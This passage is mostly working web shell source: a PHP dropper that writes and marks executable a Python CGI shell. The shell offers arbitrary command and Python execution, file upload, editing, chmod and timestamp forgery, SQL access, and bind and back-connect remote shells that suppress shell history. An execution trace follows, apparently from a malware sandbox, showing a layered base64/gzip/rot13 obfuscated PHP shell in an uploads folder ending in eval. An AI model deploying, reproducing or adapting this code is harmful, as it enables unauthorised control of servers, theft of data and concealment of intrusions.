Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }\n        table.info{ color:#fff;background-color:#222; }\n        span,h1,a{ color:#00cfcf !important; }\n        span{ font-weight: bolder; }\n        h1{ border-left:5px solid #df5;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }\n        div.content{ padding: 5px;margin-left:5px;background-color:#333; }\n        a{ text-decoration:none; }\n        a:hover{ text-decoration:underline; }\n        .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }\n        .bigarea{ width:100%;height:250px; }\n        input,textarea,select{ margin:0;color:#00afaf;background-color:#555;border:1px solid #00afcf; font: 9pt Monospace,\"Courier New\"; }\n        form{ margin:0px; }\n        #toolsTbl{ text-align:center; }\n        .toolsInp{ width: 300px }\n        .main th{text-align:left;background-color:#5e5e5e;}\n        .main tr:hover{background-color:#5e5e5e}\n        .l1{background-color:#444}\n        pre,.m{font-family:Courier,Monospace;}\n    </style>\n    <script>\n        var c_ = '\"\"\" + escape(_REQUEST['c']) + \"\"\"';\n        var a_ = '\"\"\" + escape(_REQUEST['a']) + \"\"\"';\n        var p1_ = '\"\"\" + escape(_REQUEST['p1']) + \"\"\"';\n        var p2_ = '\"\"\" + escape(_REQUEST['p2']) + \"\"\"';\n        var p3_ = '\"\"\" + escape(_REQUEST['p3']) + \"\"\"';\n        var charset_ = '\"\"\" + escape( _REQUEST['charset'] ) + \"\"\"';\n        function g(a,c,p1,p2,p3,charset) {\n            if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;\n            if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;\n            if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;\n            if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;\n            if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;\n            if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;\n            document.mf.submit();\n        }\n    </script>\n    <head><body><div style=\"position:absolute;width:100%;background-color:#444;top:0;left:0;\">\n    <form method=post name=mf style='display:none;'>\n    <input type=hidden name=a>\n    <input type=hidden name=c>\n    <input type=hidden name=p1>\n    <input type=hidden name=p2>\n    <input type=hidden name=p3>\n    <input type=hidden name=charset>\n    </form>\"\"\"\n    print '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Time:<br>Cwd:</span></td>'\n    print '<td><nobr>'\n    for x in os.uname():\n        sys.stdout.write(x+' ')\n    t = time.localtime()\n    print '</nobr><br>%s<br>%d-%.2d-%.2d %.2d:%.2d:%.2d <span>Server IP:</span> %s <span>Client IP:</span> %s<br>' %( commands.getoutput( 'id' ).replace(\"root\", \"<font color=red>root</font>\"), t[0], t[1], t[2], t[3], t[4], t[5], os.environ['SERVER_ADDR'], os.environ['REMOTE_ADDR'])\n    path = ''\n    paths = cwd.split('/')\n    paths.pop()\n    for x in paths:\n        path += x + '/'\n        sys.stdout.write(\"\"\"<a href=\"#\" onclick=\"g('files','\"\"\"+escape(path)+\"\"\"', '', '', '')\">\"\"\"+x+\"\"\"/</a>\"\"\")\n    print \" \" + permsColor(cwd),\"\"\"<a href='#' onclick=\"g('files','\"\"\"+ escape( home_dir ) +\"\"\"', '', '', '')\">[ home ]</a>\"\"\"\n    charsets = ['UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866']\n    print '<td width=1 align=right><select onchange=\"g(null,null,null,null,null,this.value)\"><optgroup label=\"Page charset\">'\n    for charset in charsets:\n        sys.stdout.write('<option value=\"%s\" ' % charset)\n        if _REQUEST['charset'] == charset:\n             sys.stdout.write('selected')\n        sys.stdout.write('>%s</option>' % charset)\n    print '</optgroup></select><br><small>Currently logged in: '+commands.getoutput('users')+'</small></td></tr></table><table style=\"border-top:2px solid #00afcf;text-align: center;\" cellpadding=3 cellspacing=0 width=100%><tr>'\n    for x in ['Files', 'Console', 'Python', 'Network', 'SQL']:\n        print \"<td width='100px'>[ <a href='#' onclick='g(\\\"\"+x.lower()+'\", null, \"\", \"\", \"\")\\'>'+x+'</a> ]</td>'\n    print '<td></td></tr></table><div style=\"margin:5\">'\n\ndef printFooter():\n    if os.access (cwd, os.W_OK):\n        writable = \"<b><font color=#00cfdf>[ Writeable ]</font>\"\n    else:\n        writable = \"<font color=red>[ Not writable ]</font>\"\n    print \"\"\"</div>\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style=\"border-top:2px solid #333;border-bottom:2px solid #333;\">\n\t<tr>\n\t\t<td><form onsubmit=\"g(null,this.c.value);return false;\"><span>Change dir:</span><br><input class=\"toolsInp\" type=text name=c value='\"\"\" + cwd + \"\"\"'><input type=submit value=\"&gt;&gt;\"></form></td>\n\t\t<td><form onsubmit=\"g('fileTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class=\"toolsInp\" type=text name=f><input type=submit value=\"&gt;&gt;\"></form></td>\n\t</tr>\n\t<tr>\n\t\t<td><form onsubmit=\"g('files',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span><br><input class=\"toolsInp\" type=text name=d><input type=submit value=\"&gt;&gt;\"></form>\"\"\"+writable+\"\"\"</td>\n\t\t<td><form onsubmit=\"g('fileTools',null,this.f.value,'save','');return false;\"><span>Make file:</span><br><input class=\"toolsInp\" type=text name=f><input type=submit value=\"&gt;&gt;\"></form>\"\"\"+writable+\"\"\"</td>\n\t</tr>\n\t<tr>\n\t\t<td><form onsubmit=\"g('console',null,this.c.value);return false;\"><span>Execute:</span><br><input class=\"toolsInp\" type=text name=c value=\"\"><input type=submit value=\"&gt;&gt;\"></form></td>\n\t\t<td><form method='post' ENCTYPE='multipart/form-data'>\n\t\t<input type=hidden name=a value='files'>\n\t\t<input type=hidden name=c value='\"\"\"+cwd+\"\"\"'>\n\t\t<input type=hidden name=p1 value='uploadFile'>\n\t\t<input type=hidden name=charset value='\"\"\"+_REQUEST['charset']+\"\"\"'>\n\t\t<span>Upload file:</span><br><input class=\"toolsInp\" type=file name=f><input type=submit value=\"&gt;&gt;\"></form>\"\"\"+writable+\"\"\"</td>\n\t</tr>\n\n</table>\n</div>\n</body></html>\"\"\"\n\ndef viewSize(s):\n    if s >= 1073741824:\n\t\treturn \"%1.2f  GB\" % (s / 1073741824.0);\n    elif s >= 1048576:\n\t\treturn \"%1.2f  MB\" % (s / 1048576.0);\n    elif s >= 1024:\n\t\treturn \"%1.2f  KB\" % (s / 1024.0);\n    else:\n\t\treturn str(s) + ' B';\n\ndef perms(p):\n    mode = os.lstat(p)[ST_MODE]\n    p = mode\n    i=\"\";\n    if (p & 0xC000) == 0xC000:\n        i = 's'\n    elif (p & 0xA000) == 0xA000:\n        i = 'l'\n    elif (p & 0x8000) == 0x8000:\n        i = '-'\n    elif (p & 0x6000) == 0x6000:\n        i = 'b'\n    elif (p & 0x4000) == 0x4000:\n        i = 'd'\n    elif (p & 0x2000) == 0x2000:\n        i = 'c'\n    elif (p & 0x1000) == 0x1000:\n        i = 'p'\n    else:\n        i = 'u'\n    if p & 0x0100: i += 'r'\n    else: i += '-'\n    if p & 0x0080: i += 'w'\n    else: i += '-'\n    if  p & 0x0040:\n        if p & 0x0800: i += 's'\n        else: i += 'x'\n    else:\n        if p & 0x0800: i += 'S'\n        else: i+='-'\n    if p & 0x0020: i += 'r'\n    else: i += '-'\n    if p & 0x0010: i += 'w'\n    else: i += '-'\n    if  p & 0x0008:\n        if p & 0x0400: i += 's'\n        else: i += 'x'\n    else:\n        if p & 0x0400: i += 'S'\n        else: i += '-'\n    if p & 0x0004: i += 'r'\n    else: i += '-'\n    if p & 0x0002: i += 'w'\n    else: i += '-'\n    if  p & 0x0001:\n        if p & 0x0200: i += 't'\n        else: i += 'x'\n    else:\n        if p & 0x0200: i += 'T'\n        else: i += '-'\n\n    return i;\n\ndef permsColor(path):\n    if not os.access (path, os.R_OK):\n        return \"<font color='#FF0000'>\"+perms(path)+\"</font>\"\n    elif os.access (path, os.W_OK):\n        return \"<font color='#00BB00'>\"+perms(path)+\"</font>\"\n    else:\n        return \"<font color='white'>\"+perms(path)+\"</font>\"\n\ndef actionConsole():\n    printHeader()\n    print \"<h1>Console</h1><div class=content>\"\n    print \"\"\"<form name=\"cf\" onSubmit=\"g(null, null, this.cmd.value);return false;\" style=\"border:1px solid #00afcf;background-color:#555;\"><textarea class=bigarea style=\"border:0px;\" readonly>\"\"\"\n    if len(_REQUEST['p1']) > 0:\n        print '\$', cgi.escape(_REQUEST['p1'])\n        print cgi.escape(commands.getoutput(_REQUEST['p1']))\n\n    print '</textarea><table cellpadding=0 cellspacing=0 width=\"100%\"><tr><td width=\"1%\">\$</td><td><input type=text name=cmd style=\"border:0px;width:100%;\"></td></tr></table>'\n    print \"</form></div><script>document.cf.cmd.focus();</script>\"\n    printFooter()\n\ndef actionFiles():\n    printHeader()\n    if _REQUEST['p1'] == 'uploadFile':\n        try:\n            if _FILES['f'].filename:\n                fn = os.path.basename(_FILES['f'].filename)\n                open(fn, 'wb').write(_FILES['f'].file.read())\n        except: pass\n    if _REQUEST['p1'] == 'mkdir':\n        try: os.mkdir(_REQUEST['p2'])\n        except: pass\n    print \"<h1>File manager</h1><div class=content>\"\n    item_stat = os.lstat('..')\n\n    def dirItemInfo(name, item_stat):\n        if S_ISLNK(item_stat[ST_MODE]):\n            type = \"link\"\n        else:\n            type = \"dir\"\n        tmp = {\n                'name'  : name,\n                'path'  : os.path.join(cwd, name),\n                'size'  : viewSize(item_stat[ST_SIZE]),\n                'mtime' : datetime.fromtimestamp(item_stat[ST_MTIME]).strftime(\"%Y-%m-%d %H:%M:%S\"),\n                'uid'   : str(item_stat[ST_UID]),\n                'gid'   : str(item_stat[ST_GID]),\n                'perms' : permsColor(name),\n                'type'  : type\n              }\n        return tmp\n    dirs = [dirItemInfo('..', os.lstat('..'))]\n    files = []\n\n    for item in os.listdir(cwd):\n        item_stat = os.lstat(item)\n        mode = item_stat[ST_MODE]\n        tmp = dirItemInfo(item, item_stat)\n        if S_ISLNK(mode) or S_ISDIR(mode):\n            dirs.append(tmp)\n        elif S_ISREG(mode):\n            files.append(tmp)\n\n    print \"<table width='100%' class='main' cellspacing='0' cellpadding='2'><form method='post'>\"\n    print \"\"\"<tr><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>\"\"\";\n    \n    def sort(a, b):\n        return cmp(a['name'].lower(), b['name'].lower())\n\n    line = 0\n    for item in sorted(dirs, sort):\n        print \"<tr\"\n        if line:\n            print \" class=l1\"\n        print \"><td><a href='#' onclick='g(null,\\\"\"+escape(item['path'])+\"\\\")'><b>[ \"+cgi.escape(item['name'])+\" ]</b></a></td><td>\"+item['type']+\"</td><td>\"+item['mtime']+\"</td><td>\"+item['uid']+\"/\"+item['gid']+\"</td><td><a href=# onclick=\\\"g('fileTools', null, '\"+escape(item['name'])+\"', 'chmod')\\\">\"+item['perms']+\"</a></td>\"\n        print \"<td><a href=# onclick=\\\"g('fileTools', null, '\"+escape(item['name'])+\"', 'rename')\\\">R</a> <a href=# onclick=\\\"g('fileTools', null, '\"+escape(item['name'])+\"', 'touch')\\\">T</a></td></tr>\"\n        line = (line + 1)%2\n    for item in sorted(files, sort):\n        print \"<tr\"\n        if line:\n            print \" class=l1\"\n        print \"><td><a href='#' onclick='g(\\\"fileTools\\\",null,\\\"\"+escape(item['name'])+\"\\\")'>\"+cgi.escape(item['name'])+\"</a></td><td>\"+item['size']+\"</td><td>\"+item['mtime']+\"</td><td>\"+item['uid']+\"/\"+item['gid']+\"</td><td><a href=# onclick=\\\"g('fileTools', null, '\"+escape(item['path'])+\"', 'chmod')\\\">\"+item['perms']+\"</a></td>\"\n        print \"<td><a href=# onclick=\\\"g('fileTools', null, '\"+escape(item['name'])+\"', 'rename')\\\">R</a> <a href=# onclick=\\\"g('fileTools', null, '\"+escape(item['name'])+\"', 'touch')\\\">T</a> <a href=# onclick=\\\"g('fileTools', null, '\"+escape(item['name'])+\"', 'edit')\\\">E</a> <a href=# onclick=\\\"g('fileTools', null, '\"+escape(item['name'])+\"', 'download')\\\">D</a></td></tr>\"\n        line = (line + 1)%2\n\n    print \"</form></table></div>\"\n    printFooter()\n\ndef actionFileTools():\n    if _REQUEST['p2'] == \"\":\n        _REQUEST['p2'] = \"view\"\n    if _REQUEST['p2'] == \"download\":\n        print \"Content-Disposition: attachment; filename=\" + os.path.basename(_REQUEST['p1']) + \"\\n\"\n        try:\n            fp = open(_REQUEST['p1'], 'rb')\n            for x in fp.readlines():\n                sys.stdout.write(x)\n            fp.close()\n        except: pass\n        return\n    if _REQUEST['p2'] == \"save\":\n        try:\n            fp = open(_REQUEST['p1'], 'w')\n            fp.write(_REQUEST['p3'])\n            fp.close()\n        except: pass\n        _REQUEST['p2'] = 'edit'\n    printHeader()\n    print \"<h1>File tools</h1><div class=content>\"\n    item_stat = os.stat(_REQUEST['p1'])\n    print \"<span>File: </span>\" + os.path.basename(_REQUEST['p1']) + \" <span>Size: </span> \" +viewSize(item_stat[ST_SIZE]) + \" <span>Permission:</span> \" +permsColor(_REQUEST['p1'])\n    print \"<br/>\"\n    if S_ISDIR(item_stat[ST_MODE]):\n        menu = ['Chmod', 'Rename', 'Touch']\n    else:\n        menu = ['View', 'Download', 'Edit', 'Chmod', 'Rename', 'Touch']\n    for x in menu:\n        print \"<a href=# onclick=\\\"g(null, null, null, '\"+x.lower()+\"')\\\">\"\n        if x.lower() == _REQUEST['p2']:\n            print \"<b>[ \" + x + \" ]</b>\"\n        else:\n            print x\n        print \"</a> \"\n    print \"<br><br>\";\n    if _REQUEST['p2'] == \"view\":\n        try:\n            fp = open(_REQUEST['p1'], 'r')\n            print \"<pre class=ml1>\"\n            for x in fp.readlines():\n                sys.stdout.write(cgi.escape(x))\n            fp.close()\n            print \"</pre>\"\n        except:\n            print \"Can't open file! \"+_REQUEST['p1']\n    if _REQUEST['p2'] == \"edit\":\n        try:\n            fp = open(_REQUEST['p1'], 'r')\n            print \"<form onsubmit=\\\"g(null,null,'\"+escape(_REQUEST['p1'])+\"', 'save', this.f.value);return false;\\\"><textarea name=f class=bigarea>\"\n            for x in fp.readlines():\n                sys.stdout.write(cgi.escape(x))\n            fp.close()\n            print \"</textarea><input type='submit' value='&gt;&gt;'></form>\"\n        except:\n            print \"Can't open (create) file! \"+_REQUEST['p1']\n    if _REQUEST['p2'] == \"chmod\":\n        import stat, string\n        if len(_REQUEST['p3']):\n            perm = string.atoi(_REQUEST['p3'], 8)\n            try:\n                os.chmod(_REQUEST['p1'], perm)\n                print \"Done\"\n            except: print \"Fail!\"\n        print \"<form onsubmit=\\\"g(null,null,'\"+escape(_REQUEST['p1'])+\"', 'chmod', this.p.value);return false;\\\"><input type='text' name='p' value='\"\n        print \"%o\" % stat.S_IMODE(os.stat(_REQUEST['p1'])[ST_MODE])\n        print \"'/><input type='submit' value='&gt;&gt;'></form>\"\n    if _REQUEST['p2'] == \"rename\":\n        if len(_REQUEST['p3']):\n            try:\n                os.rename(_REQUEST['p1'], _REQUEST['p3'])\n                _REQUEST['p1'] = _REQUEST['p3']\n                print \"Done<script>p2_='\" + escape(_REQUEST['p3']) + \"'</script>\"\n            except: print \"Fail!\"\n        print \"<form onsubmit=\\\"g(null,null,'\"+escape(_REQUEST['p1'])+\"', 'rename', this.n.value);return false;\\\"><input type='text' name='n' value='\" + escape(_REQUEST['p1'])+ \"'/><input type='submit' value='&gt;&gt;'></form>\"\n\n    if _REQUEST['p2'] == \"touch\":\n        if len(_REQUEST['p3']):\n            try:\n                tmstmp = time.mktime(time.strptime(_REQUEST['p3'], \"%Y-%m-%d %H:%M:%S\"))\n                os.utime(_REQUEST['p1'], (tmstmp, tmstmp))\n                item_stat = os.stat(_REQUEST['p1'])\n                print \"Done\"\n            except: print \"Fail!\"\n        print \"<form onsubmit=\\\"g(null,null,'\"+escape(_REQUEST['p1'])+\"', 'touch', this.n.value);return false;\\\"><input type='text' name='n' value='\"\n        print datetime.fromtimestamp(item_stat[ST_MTIME]).strftime(\"%Y-%m-%d %H:%M:%S\")\n        print \"'/><input type='submit' value='&gt;&gt;'></form>\"\n\n    print \"</div>\"\n    printFooter()\n\ndef actionPython():\n    printHeader()\n    print \"<h1>Exec python code</h1><div class=content>\"\n    print \"\"\"<form name=\"cf\" onSubmit=\"g(null, null, this.c.value);return false;\"><textarea class=bigarea name=c>\"\"\"\n    print '</textarea><input type=submit value=\"&gt;&gt;\">'\n    if len(_REQUEST['p1']) > 0:\n        print '<pre class=\"ml1\" style=\"margin-top:5px;\">'\n        try:\n            import StringIO\n            old_stdout = sys.stdout\n            sys.stdout = StringIO.StringIO()\n            exec(_REQUEST['p1'])\n            data = sys.stdout.getvalue()\n            sys.stdout = old_stdout\n            print cgi.escape(data)\n        except:\n            pass\n        print '</pre>'\n    print \"</form></div>\"\n    printFooter()\n\ndef actionSQL():\n    printHeader()\n    thephp = '''\n\$user = \"LOLUSERFUCK\";\$password = \"LOLPASSFUCK\"; \$host = \"LOLHOSTFUCK\"; \$db = \"LOLDBFUCK\"; mysql_connect(\$host,\$user,\$password); \$query = \"LOLQUERYFUCK\"; mysql_select_db(\$db); \$result = mysql_query(\$query);  while(\$row = mysql_fetch_array(\$result, MYSQL_NUM)) { for(\$i = 0;\$i<count(\$row);\$i++) { echo \$row[\$i].'<br>';} }\n'''\n    if _REQUEST.has_key('db'):\n        print \"\"\"<h1>SQL</h1><div class=content>\n    <form name='nfp' method='post'>\n\t<span>Run SQL</span><br/> <input type='hidden' name='a' value='sql'>\n\tHost: <input type='text' name='host' value='\"\"\"+_REQUEST['host']+\"\"\"'>Database: <input type='text' name='db' value='\"\"\"+_REQUEST['db']+\"\"\"'> User: <input type='text' name='user' value='\"\"\"+_REQUEST['user']+\"\"\"'> Pass: <input type='text' name='pass' value='\"\"\"+_REQUEST['pass']+\"\"\"'> Query: <input type='text' name='query' value='\"\"\"+_REQUEST['query']+\"\"\"'><input type=submit value=\">>\">\n\t</form><br></div>\"\"\"\n    else:\n        print \"\"\"<h1>SQL</h1><div class=content>\n    <form name='nfp' method='post'>\n\t<span>Run SQL</span><br/> <input type='hidden' name='a' value='sql'>\n\tHost: <input type='text' name='host' value='localhost'> Database: <input type='text' name='db' value='mysql'> User: <input type='text' name='user' value='root'> Pass: <input type='text' name='pass' value='dongs'> Query: <input type='text' name='query' value='show databases'><input type=submit value=\">>\">\n\t</form><br></div>\"\"\"\n    if _REQUEST.has_key('db'):\n        thephp = thephp.replace(\"LOLUSERFUCK\", _REQUEST['user']).replace(\"LOLPASSFUCK\", _REQUEST['pass']).replace(\"LOLQUERYFUCK\", _REQUEST['query']).replace(\"LOLDBFUCK\", _REQUEST['db']).replace(\"LOLHOSTFUCK\", _REQUEST['host'])\n        thephp = b64encode(thephp) # cause fuck escaping shit\n        thephp = '\\\"%s\\\"' % thephp\n        print commands.getoutput(\"echo '<?php eval(base64_decode(\"+thephp+\")); ?>' | php\").replace(\"\\n\",\"<br>\")\n    printFooter()\n\ndef actionNetwork():\n    printHeader()\n    if _REQUEST['p1'] != \"\":\n        sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        sock.settimeout(10)\n    if _REQUEST['p1'] == \"bp\":\n        try:\n            sock.bind(('localhost', int(_REQUEST['p2'])))\n            sock.listen(0)\n        except:\n            print \"error\"\n        else:\n            print \"done\"\n        if os.fork()!=0:\n            (c,addr)=sock.accept()\n            os.dup2(c.fileno(), 0)\n            os.dup2(c.fileno(), 1)\n            os.dup2(c.fileno(), 2)\n            os.system('/bin/sh -i')\n            c.shutdown(2)\n            sock.shutdown(2)\n    elif _REQUEST['p1'] == \"bc\":\n        try:\n            sock.connect( (_REQUEST['p2'], int(_REQUEST['p3'])) )\n        except:\n            print \"error\"\n        else:\n            print \"done\"\n            if os.fork()!=0:\n                os.dup2(sock.fileno(), 0)\n                os.dup2(sock.fileno(), 1)\n                os.dup2(sock.fileno(), 2)\n                os.system('/bin/bash -i')\n                sock.shutdown(2)\n    elif _REQUEST['p1'] == \"cc\":\n        try:\n            sock.connect( (_REQUEST['p2'], int(_REQUEST['p3'])) )\n        except:\n            print \"error\"\n        else:\n            print \"done\"\n            try: os.setreuid(0,0)\n            except: pass\n            uname = commands.getoutput(\"uname -a\")\n            id = commands.getoutput(\"id\")\n            pid, childProcess = pty.fork() \n            if pid == 0:\n                sock.send(ascii)\n                sock.send(uname+\"\\r\\n\"+id+\"\\r\\n\")\n                os.putenv(\"HISTFILE\",\"/dev/null\")\n                os.putenv(\"HOME\",os.getcwd())\n                os.putenv(\"PATH\",'/usr/local/sbin:/usr/sbin:/sbin:'+os.getenv('PATH'))\n                os.putenv(\"TERM\",'linux')\n                os.putenv(\"PS1\",color+'''\\u@\\h:\\w\\\$ '''+reset)\n                pty.spawn(\"/bin/bash\")\n                sock.send(\"\\r\\n\")\n                sock.shutdown(1)\n            else:\n                b = sock.makefile(os.O_RDONLY|os.O_NONBLOCK) \n                c = os.fdopen(childProcess,'r+') \n                y = {b:c,c:b}\n                try:\n                    while True:\n                        for n in select.select([b,c],[],[])[0]: \n                            z = os.read(n.fileno(),4096)\n                            y[n].write(z) \n                            y[n].flush() \n                except: pass\n                \n    print \"\"\"<h1>Network tools</h1><div class=content>\n    <form name='nfp' onSubmit=\"g(null,null,'bp',this.port.value);return false;\">\n\t<span>Bind port to /bin/sh</span><br/>\n\tPort: <input type='text' name='port' value='2048'><input type=submit value=\">>\">\n\t</form>\n<form name='nfp' onSubmit=\"g(null,null,'bc',this.server.value,this.port.value);return false;\">\n\t<span>Back-connect shell: </span><br/>\n\tServer: <input type='text' name='server' value='\"\"\"+os.environ['REMOTE_ADDR']+\"\"\"'> Port: <input type='text' name='port' value='443'><input type=submit value=\">>\">\n\t</form>\n\t<form name='nfp' onSubmit=\"g(null,null,'cc',this.server.value,this.port.value);return false;\">\n\t<span>Chippy1337 enhanced back-connect shell (requires socat): </span><br/>\n\tServer: <input type='text' name='server' value='\"\"\"+os.environ['REMOTE_ADDR']+\"\"\"'> Port: <input type='text' name='port' value='443'><input type=submit value=\">>\">\n\t</form><br></div>\"\"\"\n    printFooter()\ndef actionDDOS():\n    printHeader()\n    if _REQUEST['p1'] != \"\":\n        sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        sock.settimeout(10)\n    if _REQUEST['p1'] == \"bp\":\n        try:\n            sock.bind(('localhost', int(_REQUEST['p2'])))\n            sock.listen(0)\n        except:\n            print \"error\"\n        else:\n            print \"done\"\n        if os.fork()!=0:\n            (c,addr)=sock.accept()\n            os.dup2(c.fileno(), 0)\n            os.dup2(c.fileno(), 1)\n            os.dup2(c.fileno(), 2)\n            os.system('/bin/sh -i')\n            c.shutdown(2)\n            sock.shutdown(2)\n    elif _REQUEST['p1'] == \"bc\":\n        try:\n            sock.connect( (_REQUEST['p2'], int(_REQUEST['p3'])) )\n        except:\n            print \"error\"\n        else:\n            print \"done\"\n            if os.fork()!=0:\n                os.dup2(sock.fileno(), 0)\n                os.dup2(sock.fileno(), 1)\n                os.dup2(sock.fileno(), 2)\n                os.system('/bin/bash -i')\n                sock.shutdown(2)\n    elif _REQUEST['p1'] == \"cc\":\n        try:\n            sock.connect( (_REQUEST['p2'], int(_REQUEST['p3'])) )\n        except:\n            print \"error\"\n        else:\n            print \"done\"\n            try: os.setreuid(0,0)\n            except: pass\n            uname = commands.getoutput(\"uname -a\")\n            id = commands.getoutput(\"id\")\n            pid, childProcess = pty.fork() \n            if pid == 0:\n                sock.send(ascii)\n                sock.send(uname+\"\\r\\n\"+id+\"\\r\\n\")\n                os.putenv(\"HISTFILE\",\"/dev/null\")\n                os.putenv(\"HOME\",os.getcwd())\n                os.putenv(\"PATH\",'/usr/local/sbin:/usr/sbin:/sbin:'+os.getenv('PATH'))\n                os.putenv(\"TERM\",'linux')\n                os.putenv(\"PS1\",color+'''\\u@\\h:\\w\\\$ '''+reset)\n                pty.spawn(\"/bin/bash\")\n                sock.send(\"\\r\\n\")\n                sock.shutdown(1)\n            else:\n                b = sock.makefile(os.O_RDONLY|os.O_NONBLOCK) \n                c = os.fdopen(childProcess,'r+') \n                y = {b:c,c:b}\n                try:\n                    while True:\n                        for n in select.select([b,c],[],[])[0]: \n                            z = os.read(n.fileno(),4096)\n                            y[n].write(z) \n                            y[n].flush() \n                except: pass\n                \n    print \"\"\"<h1>Network tools</h1><div class=content>\n    <form name='nfp' onSubmit=\"g(null,null,'bp',this.port.value);return false;\">\n\t<span>Bind port to /bin/sh</span><br/>\n\tPort: <input type='text' name='port' value='2048'><input type=submit value=\">>\">\n\t</form>\n<form name='nfp' onSubmit=\"g(null,null,'bc',this.server.value,this.port.value);return false;\">\n\t<span>Back-connect shell: </span><br/>\n\tServer: <input type='text' name='server' value='\"\"\"+os.environ['REMOTE_ADDR']+\"\"\"'> Port: <input type='text' name='port' value='443'><input type=submit value=\">>\">\n\t</form>\n\t<form name='nfp' onSubmit=\"g(null,null,'cc',this.server.value,this.port.value);return false;\">\n\t<span>Chippy1337 enhanced back-connect shell (requires socat): </span><br/>\n\tServer: <input type='text' name='server' value='\"\"\"+os.environ['REMOTE_ADDR']+\"\"\"'> Port: <input type='text' name='port' value='443'><input type=submit value=\">>\">\n\t</form><br></div>\"\"\"\n    printFooter()\n\ntry:\n    {\n        'files' : actionFiles,\n        'fileTools' : actionFileTools,\n        'console' : actionConsole,\n        'python' : actionPython,\n        'network' : actionNetwork,\n        'sql' : actionSQL,\n        'ddos' : actionDDOS\n    }[_REQUEST['a']]()\nexcept KeyError:\n    printHeader()\n    printFooter()\n");
        fclose($file);
        chmod("dark0.xx", 0755);
        echo "<center><p>Sucessfully</p><a href=dark0cgi/dark0.xx target=\"_blank\">Pass r00t</a></center>";
    }
};

Execution traces

data/traces/f40aacca2f4cba3a558c7cbad3af32e7_trace-1676255397.7289.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:30:23.626745]
1	0	1	0.000198	393528
1	3	0	0.000460	422848	{main}	1		/var/www/html/uploads/wsocgi.php	0	0
1		A						/var/www/html/uploads/wsocgi.php	2	$stt1 = 'Sy1LzNFQsrdT0isuKYovyi8xNNZIr8rMS8tJLEkFskrzkvNzC4pSi4upI5yUWJxqZhKfkpqcn5KqAbSzKLVMQ6W4pMRAEwlYAwA='
1		A						/var/www/html/uploads/wsocgi.php	3	$stt0 = '=8aWEpfZTdVK7w0zCDRR7ncA/BfoLt/kIQLH93nvf8zXWFmkCXP00Zf+8mbQevpvv9U1HrDW1FmQYP39cQLVJ6Pf5lmwH+6ta/81GnX751fdd02ab1+VbL/4rqiOVvPeaNZrf8rC1OEzPWuo2tK5r/E8yJ9PVxjt4RdPtXhU1NGNfs74tLV02/elvcM68Ed8t2R56nASumudAH673cY7bOe4N5e3ny8Ls4jx3nXUavKPq4nF7c9ZHG+Y7v3Ht73gW8bO7I+Y6hOXBT8Yw+jVeh/uRvb1Vnvn9Gg2f+GsfT1ilQcJyku4xCoxmmSnZfZKJpsnZJCW0Lv/H2FlOLb8f/wUan/eI/Qgik/hH8dD9S696U3Po0vsb9tfv4kuL95LzsGm0wbmMydqvhOTGbMGzy8EeRvYZQ9x9QNkzv7y934tjvAMr5Vx/NwYlwycRNuMunTscJ76Ac1RQLjucsUAzELI8Ul0fJkt4f/Q8vwn4J3cSYeMeqegMA/1Xa1aAPTO'
2	4	0	0.000544	422848	base64_decode	0		/var/www/html/uploads/wsocgi.php	4	1	'Sy1LzNFQsrdT0isuKYovyi8xNNZIr8rMS8tJLEkFskrzkvNzC4pSi4upI5yUWJxqZhKfkpqcn5KqAbSzKLVMQ6W4pMRAEwlYAwA='
2	4	1	0.000563	423008
2	4	R			'K-K��P��S�+.)�/�/14�H���K�I,I\005�J��s\v�R���#��X�jf\022�������\001��(�LC����@\023\tX\003\000'
2	5	0	0.000589	422976	gzinflate	0		/var/www/html/uploads/wsocgi.php	4	1	'K-K��P��S�+.)�/�/14�H���K�I,I\005�J��s\v�R���#��X�jf\022�������\001��(�LC����@\023\tX\003\000'
2	5	1	0.000615	423200
2	5	R			'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'
2	6	0	0.000634	423040	htmlspecialchars_decode	0		/var/www/html/uploads/wsocgi.php	4	1	'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'
2	6	1	0.000652	423072
2	6	R			'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'
2	7	0	0.000685	426224	eval	1	'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'	/var/www/html/uploads/wsocgi.php	4	0
